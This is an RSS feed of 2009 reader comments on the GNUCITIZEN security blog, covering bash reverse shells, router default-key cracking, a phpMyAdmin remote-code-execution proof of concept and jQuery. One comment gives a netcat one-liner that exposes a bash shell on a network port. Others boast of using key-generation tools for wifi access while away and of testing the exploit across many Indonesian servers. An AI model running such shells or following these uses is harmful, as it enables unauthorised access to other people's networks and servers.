GNUCITIZEN Comments GNUCITIZEN Comments http://pipes.yahoo.com/pipes/pipe.info?_id=ad291969b9ca924999e57a9436dcc88a Sat, 04 Jul 2009 10:02:10 -0700 http://pipes.yahoo.com/pipes/ http://www.gnucitizen.orghttp://www.gnucitizen.org/images/gc-reflection-gnucitizen-inverted.pngGNUCITIZEN pagvac: @Jeff: awesome. just tested it on my ubuntu workstation and works like a charm. thanks for sharing![...] http://www.gnucitizen.org/blog/reverse-shell-with-bash/comment-page-2/#comment-127536 @Jeff: awesome. just tested it on my ubuntu workstation and works like a charm. thanks for sharing! http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-127536 Thu, 25 Jun 2009 05:19:06 -0700 @Jeff: awesome. just tested it on my ubuntu workstation and works like a charm. thanks for sharing!

]]> empi: Great tool guys. The stkeys.c program is a cool one. Helped me to stay online on vacation :-)[...] http://www.gnucitizen.org/blog/default-key-algorithm-in-thomson-and-bt-home-hub-routers/comment-page-4/#comment-127514 Great tool guys. The stkeys.c program is a cool one. Helped me to stay online on vacation :-) http://www.gnucitizen.org/blog/default-key-algorithm-in-thomson-and-bt-home-hub-routers/#comment-127514 Mon, 22 Jun 2009 01:43:07 -0700 Great tool guys. The stkeys.c program is a cool one. Helped me to stay online on vacation :-)

]]> ZK@Web Marketing Blog: I have been getting familiar with jQuery recently and the more I get into it, the more I’m impressed with it. When I first heard about jQuery I was definitely intimidated by it since I had no previous background with javascript, but I soon realized o[...] http://www.gnucitizen.org/blog/jquery-json/comment-page-1/#comment-127509 I have been getting familiar with jQuery recently and the more I get into it, the more I’m impressed with it. When I first heard about jQuery I was definitely intimidated by it since I had no previous background with javascript, but I soon realized once you get the basics down its not very hard to pull of some neat effects. http://www.gnucitizen.org/blog/jquery-json#comment-127509 Sat, 20 Jun 2009 21:14:30 -0700 I have been getting familiar with jQuery recently and the more I get into it, the more I’m impressed with it. When I first heard about jQuery I was definitely intimidated by it since I had no previous background with javascript, but I soon realized once you get the basics down its not very hard to pull of some neat effects.

]]> ZK@Web Marketing Blog: Agree, JQuery is an amazing tool. Once I needed to write a huge web project with AJAX technologies while I knew almost nothing about AJAX then (i.e. I've never made AJAX sites). I found JQuery and it was a great help! Like you write Li, its wrapper-b[...] http://www.gnucitizen.org/blog/jquery-include/comment-page-1/#comment-127508 Agree, JQuery is an amazing tool. Once I needed to write a huge web project with AJAX technologies while I knew almost nothing about AJAX then (i.e. I've never made AJAX sites). I found JQuery and it was a great help! Like you write Li, its wrapper-based syntax, principles and documentation were so simple to learn that I write a raw prototype for main site functions literally in a single day. Definitely recommended tool! http://www.gnucitizen.org/blog/jquery-include#comment-127508 Sat, 20 Jun 2009 10:44:00 -0700 Agree, JQuery is an amazing tool. Once I needed to write a huge web project with AJAX technologies while I knew almost nothing about AJAX then (i.e. I’ve never made AJAX sites). I found JQuery and it was a great help! Like you write Li, its wrapper-based syntax, principles and documentation were so simple to learn that I write a raw prototype for main site functions literally in a single day. Definitely recommended tool!

]]> Squeeze: Kender, when you think you have time to reverse engineer a config file, please let me know and i'll send you a right config.bin to analyze. THANK YOU[...] http://www.gnucitizen.org/blog/router-hacking-challenge/comment-page-3/#comment-127503 Kender, when you think you have time to reverse engineer a config file, please let me know and i'll send you a right config.bin to analyze. THANK YOU http://www.gnucitizen.org/blog/router-hacking-challenge#comment-127503 Thu, 18 Jun 2009 15:12:43 -0700 Kender,

when you think you have time to reverse engineer a config file,
please let me know and i’ll send you a right config.bin to analyze.

THANK YOU

]]> Los agujeros de Google | Geekotic: exploits y agujeros de seguridad que esta sufriendo Google actualmente. Desde un bug de Gmail que permite el reenvío de emails que cumplan determinadas condiciones al atacante hasta uno relacionado con el sistema de encuestas [...] http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/comment-page-5/#comment-127499 [...] exploits y agujeros de seguridad que esta sufriendo Google actualmente. Desde un bug de Gmail que permite el reenvío de emails que cumplan determinadas condiciones al atacante hasta uno relacionado con el sistema de encuestas [...] http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique#comment-127499 Wed, 17 Jun 2009 15:14:44 -0700 [...] exploits y agujeros de seguridad que esta sufriendo Google actualmente. Desde un bug de Gmail que permite el reenvío de emails que cumplan determinadas condiciones al atacante hasta uno relacionado con el sistema de encuestas [...]

]]> Jeff Price: 2 way /dev/tcp communication on debian. Use netcat mkfifo mypipe cat mypipe|/bin/bash|nc -l -p 6000 &gt;mypipe [...] http://www.gnucitizen.org/blog/reverse-shell-with-bash/comment-page-1/#comment-127498 2 way /dev/tcp communication on debian. Use netcat <pre><code> mkfifo mypipe cat mypipe|/bin/bash|nc -l -p 6000 &gt;mypipe </code></pre> http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-127498 Wed, 17 Jun 2009 10:58:49 -0700 2 way /dev/tcp communication on debian. Use netcat


mkfifo mypipe
cat mypipe|/bin/bash|nc -l -p 6000 >mypipe
]]> BoBiDiGiTaL: just to also add, i used the modified version of STKEYS located here in Spanish ( http://foro.seguridadwireless.net/universo-wireless/routers-thomson-caso-espanol-redes-wepwpa-speedtouchxxxxxx-al-descubierto/80/?PHPSESSID=57a9589e4a5b32f4416673c58f7e[...] http://www.gnucitizen.org/blog/default-key-algorithm-in-thomson-and-bt-home-hub-routers/comment-page-4/#comment-127492 just to also add, i used the modified version of STKEYS located here in Spanish ( http://foro.seguridadwireless.net/universo-wireless/routers-thomson-caso-espanol-redes-wepwpa-speedtouchxxxxxx-al-descubierto/80/?PHPSESSID=57a9589e4a5b32f4416673c58f7e4d59 ) to generate keys for the missing years but to my shock it produced a txt file 130MB in size, thousands of keys....... http://www.gnucitizen.org/blog/default-key-algorithm-in-thomson-and-bt-home-hub-routers/#comment-127492 Tue, 16 Jun 2009 09:00:52 -0700 just to also add, i used the modified version of STKEYS located here in Spanish

( http://foro.seguridadwireless......c58f7e4d59 )

to generate keys for the missing years but to my shock it produced a txt file 130MB in size, thousands of keys…….

]]> Martin: Gary, that was perfect. I couldn't get the other methods to work as I didn't realise you had to add on the CP to the start of what was returned.[...] http://www.gnucitizen.org/blog/dumping-the-admin-password-of-the-bt-home-hub-pt-2/comment-page-1/#comment-127489 Gary, that was perfect. I couldn't get the other methods to work as I didn't realise you had to add on the CP to the start of what was returned. http://www.gnucitizen.org/?p=859#comment-127489 Tue, 16 Jun 2009 03:01:46 -0700 Gary, that was perfect. I couldn’t get the other methods to work as I didn’t realise you had to add on the CP to the start of what was returned.

]]> rmadeat: Very nice. Thank you[...] http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/comment-page-1/#comment-127487 Very nice. Thank you https://www.gnucitizen.org/?p=2899#comment-127487 Sat, 13 Jun 2009 03:25:40 -0700 Very nice.

Thank you

]]> kecemplungkalen: but nice pagvac :)[...] http://www.gnucitizen.org/blog/cve-2009-1151-phpmyadmin-remote-code-execution-proof-of-concept/comment-page-1/#comment-127478 but nice pagvac :) https://www.gnucitizen.org/?p=3254#comment-127478 Fri, 12 Jun 2009 14:24:23 -0700 but nice pagvac :)

]]> kecemplungkalen: old bug but new tread :) good job PDP i was testing for all indonesian phpmyadmin work fine :)[...] http://www.gnucitizen.org/blog/cve-2009-1151-phpmyadmin-remote-code-execution-proof-of-concept/comment-page-1/#comment-127476 old bug but new tread :) good job PDP i was testing for all indonesian phpmyadmin work fine :) https://www.gnucitizen.org/?p=3254#comment-127476 Fri, 12 Jun 2009 13:53:21 -0700 old bug but new tread :) good job PDP i was testing for all indonesian phpmyadmin work fine :)

]]> adriensk8: Excellent....!![...] http://www.gnucitizen.org/blog/cve-2009-1151-phpmyadmin-remote-code-execution-proof-of-concept/comment-page-1/#comment-127474 Excellent....!! https://www.gnucitizen.org/?p=3254#comment-127474 Fri, 12 Jun 2009 09:04:12 -0700 Excellent….!!

]]> b0und: I have noticed the prevalence of access to this type of highly detailed databases become common place. My initial thought is to analyze all vectors as to how this spread of highly targeted data can be used and misused. This particular database is muc[...] http://www.gnucitizen.org/blog/breaking-into-a-home-with-an-iphone/comment-page-1/#comment-127472 I have noticed the prevalence of access to this type of highly detailed databases become common place. My initial thought is to analyze all vectors as to how this spread of highly targeted data can be used and misused. This particular database is much less intrusive than it will be in the future. Multiple sources of data will be indexed and mashed up against each other. Searching by location to find the highest income individual in an area, and a full bio on them. An article in the current 2600 sums it up better than I can. Database of marriage licenses and birth records correlated to find maiden names: security words. Author says and exploit that works against .01% of a big number is still a big number The amount of information readily available in public data sources can be benign by themselves. When they are all referenced together is when things get scary. It brings me to the realization that much of our societies idea of 'security' is in fact obfuscation that can readily be brought to light. https://www.gnucitizen.org/?p=3211#comment-127472 Fri, 12 Jun 2009 06:39:09 -0700 I have noticed the prevalence of access to this type of highly detailed databases become common place. My initial thought is to analyze all vectors as to how this spread of highly targeted data can be used and misused. This particular database is much less intrusive than it will be in the future.

Multiple sources of data will be indexed and mashed up against each other. Searching by location to find the highest income individual in an area, and a full bio on them. An article in the current 2600 sums it up better than I can. Database of marriage licenses and birth records correlated to find maiden names: security words. Author says and exploit that works against .01% of a big number is still a big number

The amount of information readily available in public data sources can be benign by themselves. When they are all referenced together is when things get scary. It brings me to the realization that much of our societies idea of ’security’ is in fact obfuscation that can readily be brought to light.

]]> Timbo: Fascinating! I'm just a user of computers, neither and IT specialist nor a programmer but it seems that what you're saying is, once the hacker has obtained entry through to your network, the damage is done and turning uPnP off will be too late becaus[...] http://www.gnucitizen.org/blog/hacking-the-interwebs/comment-page-3/#comment-127471 Fascinating! I'm just a user of computers, neither and IT specialist nor a programmer but it seems that what you're saying is, once the hacker has obtained entry through to your network, the damage is done and turning uPnP off will be too late because the hackers are in. Is that right, or if I disable UPnP, will I be saved? Excellent article though! regards Timbo http://www.gnucitizen.org/blog/hacking-the-interwebs#comment-127471 Fri, 12 Jun 2009 04:59:46 -0700 Fascinating! I’m just a user of computers, neither and IT specialist nor a programmer but it seems that what you’re saying is, once the hacker has obtained entry through to your network, the damage is done and turning uPnP off will be too late because the hackers are in. Is that right, or if I disable UPnP, will I be saved?

Excellent article though!

regards

Timbo

]]> rmadeat: Quote : Wow, lifesavers, you guys totally rock. My problem is that I think I have a total data stream process on me - from gmail, devart, facebook, google searching - everything. May also have got into or are trying to get into my ISP email. My compl[...] http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/comment-page-5/#comment-127467 Quote : Wow, lifesavers, you guys totally rock. My problem is that I think I have a total data stream process on me - from gmail, devart, facebook, google searching - everything. May also have got into or are trying to get into my ISP email. My complete digital footprint seems to have been uplifted and is being taunted back to me on various bogus sites found through combining my various identity markers in google searches. http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique#comment-127467 Thu, 11 Jun 2009 08:33:36 -0700 Quote :

Wow, lifesavers, you guys totally rock. My problem is that I think I have a total data stream process on me – from gmail, devart, facebook, google searching – everything. May also have got into or are trying to get into my ISP email. My complete digital footprint seems to have been uplifted and is being taunted back to me on various bogus sites found through combining my various identity markers in google searches.

]]> pagvac: @ToR: thanks for testing the script on other versions bro 8-)[...] http://www.gnucitizen.org/blog/cve-2009-1151-phpmyadmin-remote-code-execution-proof-of-concept/comment-page-1/#comment-127462 @ToR: thanks for testing the script on other versions bro 8-) https://www.gnucitizen.org/?p=3254#comment-127462 Thu, 11 Jun 2009 04:25:35 -0700 @ToR: thanks for testing the script on other versions bro 8-)

]]> rosko: as u said "nice reminder"[...] http://www.gnucitizen.org/blog/cve-2009-1151-phpmyadmin-remote-code-execution-proof-of-concept/comment-page-1/#comment-127461 as u said "nice reminder" https://www.gnucitizen.org/?p=3254#comment-127461 Thu, 11 Jun 2009 00:51:11 -0700 as u said “nice reminder”

]]> ToR: Nice work, works well also on v. 2.11.7.1 and 2.11.7 ;) ToR[...] http://www.gnucitizen.org/blog/cve-2009-1151-phpmyadmin-remote-code-execution-proof-of-concept/comment-page-1/#comment-127458 Nice work, works well also on v. 2.11.7.1 and 2.11.7 ;) ToR https://www.gnucitizen.org/?p=3254#comment-127458 Wed, 10 Jun 2009 11:36:04 -0700 Nice work, works well also on v. 2.11.7.1 and 2.11.7 ;)

ToR

]]> pdp: it is not empty. go to the browse code section. or you can find the sources from our combined code repository at code.gnucitizen.org. keep in mind that there are currently two versions of jeriko.[...] http://www.gnucitizen.org/blog/jeriko-group-and-source-code-repository/comment-page-1/#comment-127450 it is not empty. go to the <q>browse code section</q>. or you can find the sources from our combined code repository at code.gnucitizen.org. keep in mind that there are currently two versions of jeriko. https://www.gnucitizen.org/?p=3130#comment-127450 Wed, 10 Jun 2009 02:18:13 -0700 it is not empty. go to the browse code section. or you can find the sources from our combined code repository at code.gnucitizen.org. keep in mind that there are currently two versions of jeriko.

]]>